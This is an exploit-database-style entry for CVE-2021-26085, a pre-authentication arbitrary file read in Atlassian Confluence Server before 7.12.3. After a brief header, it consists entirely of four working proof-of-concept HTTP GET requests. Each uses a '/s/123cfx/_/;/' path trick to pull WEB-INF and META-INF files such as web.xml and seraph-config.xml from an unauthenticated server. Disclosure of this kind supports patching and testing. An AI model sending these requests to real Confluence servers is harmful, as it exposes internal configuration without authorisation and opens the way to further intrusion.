# Exploit Title: Atlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability # Date: 2021-10-05 # Exploit Author: Mayank Deshmukh # Author email: coldfusionx@outlook.com # Vendor Homepage: https://www.atlassian.com/ # Software Link: https://www.atlassian.com/software/confluence/download-archives # Version: All < 7.5.0 versions before 7.12.3 # Tested on: Kali Linux & Windows 10 # CVE : CVE-2021-26085 POC #1 - web.xml GET /s/123cfx/_/;/WEB-INF/web.xml HTTP/1.1 Host: 127.0.0.1:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close POC #2 - seraph-config.xml GET /s/123cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1 Host: 127.0.0.1:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close POC #3 - pom.properties GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties HTTP/1.1 Host: 127.0.0.1:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close POC #4 - pom.xml GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml HTTP/1.1 Host: 127.0.0.1:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close